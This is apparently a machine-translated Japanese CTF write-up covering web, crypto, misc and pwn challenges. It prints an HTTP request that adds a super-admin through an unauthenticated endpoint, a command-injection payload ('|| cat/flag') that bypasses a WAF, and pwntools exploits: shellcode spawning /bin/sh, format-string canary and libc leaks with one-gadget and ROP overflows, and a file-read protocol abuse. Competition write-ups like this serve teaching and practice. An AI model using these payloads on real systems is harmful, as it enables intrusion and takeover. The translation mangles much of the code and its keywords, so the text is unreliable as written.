予備競争
web_ezcms
スワッガーリークテスト/テストテストアカウントログイン、/sys/user/**認証を実行していません。スーパー管理者ユーザーを追加できます。
現時点では、roleIDはまだ不明です。ロールモジュールは不正ではありません。ユーザーモジュールを読み続け、インターフェイスを発見します
ここにはロールIDリークがあります。ここでは、以前にリークされた管理者のIDFCF34B56-A7A2-4719-9236-867495E74C31に記入してください
取得/sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31この時点で、スーパー管理者IDは11b3b80c-4a0b-4a92-96ea-fdd4f7a4a4a7e9
{
'createwhere ':0、
'Deptid':'1'、
'email ':' '、
'password ':'123456'、
'Phone':'1111111111'、
'roleids': [
'11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9'
]、
'sex':'fmale'、
'username ':'hacker'
}パスワードフィールドデコードに失敗し、テストアカウントでログを確認して、AESのキーであるAbcdefghijklmnopを見つけ、ユーザーが正常に追加されました。ユーザーを追加した後、モジュールでping関数を見つけましたが、WAFがあります。 WAFをバイパスし、コマンドを実行してフラグを取得します
post/sys/pinghttp/1.1
host:
user-agent:mozilla/5.0(macintosh; intelmacosx10.15; rv3360126.0)gecko/20100101firefox/126.0
Accept:Application/json、text/javascript、*/*; q=0.01
Accept-Language:Zh-Cn、Zh; q=0.8、Zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2
Accept-Encoding:GZIP、deflate
content-type:Application/json; charset=utf-8
authorization:eyjhbgcioiijiuzi1nij9.eyjzdwiioiijmy2yzngi1ni1hni1hni1hni2eyltq3mtktotizni04njc0otvlnzrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvnmta2v55ijpbinnn5czp1c2vyomxpc3qilcjzexm 6ZgVWDDP1CGRHDGUILCJZEXM6ZGVWDDPKZXRHAWWILCJZEXM6DXNLCJPYB2XLONVWZGF0ZSISINNN5CZPWZXJTAXNZAW9UOMFKZZCISINNN5CZPWZXJTAXNZAW9UOMFKZCISINN5CZP1C2BYOMFKZCISCISCISINNN5CZP1C2BYOMFKZCISCISCISINN5 p1c2vyomfkzcisinn5czp1c2vyomrlbgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzzexm6dxnlcjpkzxrhawwilcjzexm6zgiwiciwiciwic3lciwiciwiciwic3lciwikiwic3lckzwdgkdgkdgkdgkdgkdgkzdgkdgkzdgkzdgkdgkzdgkkzdgkdgkzdgkdgkkzdgkdgkdgkdgkkzdgkkdgkdgkknedgiwic3l jvbgu6dxbkyxrliiwic3lzonjvbgu6zgv0ywlsiiwic3lzomrlchq6bglzdcisinnn5czpkzxb0mfkzcisinn5czp1c2vyonvwzgf0zsisinnn5czp2xl2xl2xl2xLisb2xLie 6cm9sztpkzwxldgvkiiwic3lzonblcm1pc3npb246bglzdcisinn5czpwzjtaxnzaw9uomrldgfpbcisinn5czpwzxjtaxnzaw9uomrldgfpbcisinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czn5 mrlbgv0zwqilcjzexm6bg9nomrlbgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinnn5czinnn5czinnn5czinnn5czinnn5czinnn5cisinnn5czpsb2c6bglzdcjdlcjqd3qddx nlci1uyw1llwtlesi6imfkbwluiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mty3mty3mty3mty3mty0lftbd2b7yaampkktl_eo0kjcb5j3bw8fka
X-Requested With:xmlhttprequest
Content-Length:28
Origin:
DNT:1
SEC-GPC:1
connection:close
参照:
cookie:jsessionid=c701d746da63e8fb94270ad6d2fd9adb
sec-fetch-dest:Empty
sec-fetch-mode:cors
SEC-FETCH-SITE:SAME-ORIGIN
Priority:U=1
{'ip':'10.10.10.10-1 || cat/flag'}
トップシークレットファイルコードP
importcv2
importnumpyasnp
S=1790932091819291499534661361785420675976823277412565868079070707029728290913658
fromcrypto.util.numberimport*
#P、Q=(24162760378372762422470687817893681267、
#34743245425789325049640796550677777649463)
## assertp ** 2+q ** 2==s
## print(isprime(p)、isprime(q))
#img_path='flag_enc.png'
#IMG=cv2.imread(img_path)
#print(img.shape)
fromympy.solvers.diophantine.diophantineimportcornacchia
'' '
この場所は、sから変更し、分解し、Factordbだけを変更する必要があります
f={724721568156194459002808961358148476581:1,157606014 2432444438240601:1,5801674693:1,2:1,1351:1}}
'' '
x1=cornacchia(1,1、s)
Fora、binx1:
Asserta ** 2+B ** 2==s
ifisprime(a)andisprime(b):
印刷(a、b)
#ここでPとQを取得しました
fromcrypto.util.numberimport*
P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957
S=1790932091819291499534661361785420675976823277412565868079070707029728290913658
assertisprime(p)andisprime(q)andp ** 2+q ** 2==s
importcv2
path1='flag_enc.png'
img=cv2.imread(path1)
#print(img.shape)
r、c、d=img.shape
印刷(r、c)
#i、j=101,201
fromtqdmimporttqdm
A、B=P、Q
foriintqdm(range(r)):
Forjinrange(c):
set1=set()
set1.add((i、j))
i1、j1=i、j
WHILETRUE:
x=(i1+b*j1)%r
y=((a*i1)+(a*b+1)*j1)%c
i1、j1=x、y
if(x、y)notinset1:
set1.add((x、y))
else:
ifi==0andj==0:
続行します
assertlen(set1)==190#はすべてデフォルト190です
#ここは190であることがわかりました。後で触れ始めたのは偶然でした。
#s1=s%190
#print(s1)
#importnumpyasnp
#defarnold(img、shuffle_times、a、b):
#r、c、d=img.shape
#p=np.zeros(img.shape、np.uint8)
#print(r、c、d、shuffle_times)
#forsinrange(shuffle_times):
#foriinrange(r):
#forjinrange(c):
#x=(i+b*j)%r
#y=((a*i)+(a*b+1)*j)%c
#P [x、y、]=img [i、j、]
#img=np.copy(p)
#returnp
#x1=アーノルド(img、11、p、q)
#cv2.imwrite( 'flag3.png'、x1)
## cv2.imwrite( 'flag1.png'、img)
#
C=17909320918192914995346613617854206759768232774125658680790707029728290913658
P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957
importcv2
importnumpyasnp
Defarnold(IMG、shuffle_times、a、b):
r、c、d=img.shape
p=np.zeros(img.shape、np.uint8)
印刷(r、c、d、shuffle_times)
forsinrange(shuffle_times):
foriinrange(r):
Forjinrange(c):
x=(i+b*j)%r
y=((a*i)+(a*b+1)*j)%c
p [x、y、]=img [i、j、]
img=np.copy(p)
戻る
img=cv2.imread( 'flag_enc.png')
#print(img)
C1=C%190
Foriinrange(190):
img=arnold(img、1、p、q)
cv2.imwrite(f'flag {i+1} .png '、img)
'' '
1。激しく列挙してください。とにかく、サイクルは190です。すべてを列挙してください。 i=66を見つけると、flag67.pngはflagです
2.FLAG {ailuropoda_rnelaNoleuca}
''
正しいことをし続ける
トラフィックパケットから取得されたデータは、画像の16進システムです
彼の16進システムを確認し、彼の終わりに追加のデータがあることを見つけます
それはVIM描画コマンドで、drawitを直接インストールし、コマンドを入力してマップを描画します
ゲーム
ゲームを直接プレイしてフラグを取得します
これは本当のサインイン
です
funiot
Dockerファイルのセットを提供し、バイナリファイルを実行し、逆を直接開き、次にダイナミックデバッグと静的分析を組み合わせてプロトコル形式を分析し、最終的に読み取りファイルの関数の1つを使用し、//ByPass比較検出を使用します。
次に、フラグを読みます:
frommpwnimport*
Importzlib
#p=remote( '127.0.0.1'、6768)
p=remote( '173.34.20.10'、6768)
ヘッダー=b'funiot '#6
CMD=0x102
cmd_encode=int(cmd).to_bytes(2、 'big')
len=0x0101
length=int(len).to_bytes(2、 'big')
#content=b'getinfo:shadow '
#content=b'getinfo:/lib/udev/rc_keymaps/asus_pc39.toml '
content=b'getinfo: //flag '
content=content.ljust(0x101、b '\ x00')
check_sum=int(zlib.crc32(content))。to_bytes(4、 'big')
full_content=header+length+cmd_encode+check_sum+content
#packet:
#header:6Bytes
#length:2bytes
#CMD:2BYTES
#CheckSum:4Bytes
#CONTENT:UNKNOW
context.log_level='debug'
p.send(full_content)
#p.Interactive()
ImportBase64
print(base64.b64decode(p.recv())。デコード( 'utf-8'))
#command:getinfo、setinfo、secret
yesure_hack
質問には、最大値と最小値を入力し、この範囲の乱数を推測する必要があります。正しく推測すると、スタックオーバーフローを入力します。オーバーフロー文字の数は間違っていると推測した回数であるため、2つの隣接する数値を入力して、十分な回数を推測してから、定期的なスタックオーバーフロー使用率を実行できます。スタックを開いた後に実行できるため、検出でペイロードが空になっていないことが必要なため、シェルコードを直接書き、XORバイパスされていない非空白検出を実行しました。
#ランダム%(Max-Min+1)+Min
frommpwnimport*
context.log_level='debug'
#p=process( './main')
p=remote( '173.34.20.233'、9999)
P.Sendlinefter(b'ch: '、b'1')
P.Sendlinefter(b'enteraminimumandmaximummumberfortheguessinggame: '、b'12')
Foriinrange(99):
P.Sendlinefter(b'guessanumber '、b'1')
P.Sendlinefter(b'guessanumberbetween '、b'2')
ペイロード=b'a '*0x3c
ペイロード+=P32(0x0805DEA9)
ペイロード+=asm( '' 'push0xffffffff4
ポピアックス
push0xffffffffffff
popepx
Xoreax、EBX
push0xff978cd0
Popecx
Xorecx、EBX
pushecx
push0x6e69622f
movebx、esp
Xorecx、ECX
int0x80 '' ')
ペイロード=payload.ljust(99、b'a ')
一時停止()
P.Sendlineferter(b'congratulation! '、ペイロード)
p.Interactive()
msg
辞書の辞書のスタックオーバーフロー +フォーマット文字列の脆弱性。これにより、文字列の脆弱性がカナリアとLIBCに漏れています。
frommpwnimport*
#p=process( './main')
p=remote( '173.34.20.68'、9999)
P.Sendlinefter(b'message: '、b'%11 $ p ')
canary=int(p.recv(18)、16)
成功(f'canary: {hex(canary)} ')
P.Sendlinefter(b'message: '、b'%3 $ p ')
libc=int(p.recv(14)、16)-0x10e1f2
成功(f'libc: {hex(libc)} ')
One=libc+0xe3b01
P.Sendlinefter(b'message: '、b'a'*0x28+p64(canary)+b'b '*8+p64(one))
一時停止()
P.Sendlinefter(b'message: '、b' \ x00 '*0x10)
p.Interactive()
スタックオーバー
も古典的なスタックオーバーフローですが、リモートLIBCはローカルとは少し異なります。さらに、返品アドレスは、Leaf ESP [ECX-4]、RETを介して返されます。これは正常に使用されていません。ただし、プログラムをさまざまな出力場所に制御した後、スタック環境は基本的に同じであると判断されているため、最終的には、LIBCに頼って利用しないようにしてください。
frommpwnimport*
#context.log_level='debug'
#p=process( './stackover')
p=remote(b'173.34.20.46 '、9999)
p.sendafter(b'read: '、b'a'*0x29b)
P.Recvuntil(b'a '*0x29b)
canary=u32(b '\ x00'+p.recv(3))
成功(f'canary: {hex(canary)} ')
#一時停止()
p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c-0x30-4)))
P.Recvuntil(b'a '*(0x29b+7+8+0x2c-0x30-4)))
P.Recv(4)
P.Recv(4)
stack=u32(p.recv(4))
成功(f'stack: {hex(stack)} ')
#一時停止()
p.sendafter(b'read: '、b'b'*(0x29b+0x18+7)))
P.Recvuntil(b'b '*(0x29b+0x18+7))
libc=u32(p.recv(4))-0x1aed5
成功(f'libc: {hex(libc)} ')
#一時停止()
p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c+0x54))
P.Recvuntil(b'a '*(0x29b+7+8+0x2c+0x54)))
elf_base=u32(p.recv(4))-0x3fb8
成功(f'elf_base: {hex(elf_base)} ')
ペイロード=b'c '*(0x29a-0x14-8)
#execve0xc9510
#System0x41780
#puts0x6dc40
#ペイロード+=P32(libc+0x6dc40)
#ペイロード+=P32(elf_base+0x1130)
ペイロード+=b '/bin/sh \ x00'
ペイロード+=P32(elf_base+0x128e)
#ペイロード+=p32(elf_base+0x3fcc)
#ペイロード+=p32(0)
ペイロード+=P32(stack-0x50)
ペイロード+=p32(0)
#ペイロード+=P32(libc+0x18e363)
#ペイロード+=P32(libc+0x18e363)
ペイロード+=p32(0)
ペイロード+=p32(0)
ペイロード+=P32(カナリア)
ペイロード+=p32(0)*3
ペイロード+=P32(stack-0x44)
ペイロード+=P32(elf_base+0x3fb8)
ペイロード+=b '/bin/sh \ x00'
一時停止()
context.log_level='debug'
p.sendafter(b'read: '、ペイロード)
p.Interactive()
stackover-revenge
は255以内に追加および減算関数を提供します。最初は脆弱性は見られませんでしたが、後にプログラムの通常のプロセスに少しバックドアコードが追加されたことがわかりました。
IDAはF5を押し、ここでは見えません。別の場所のバックドアコードは、上記のコードのトリガー条件を完了することができます。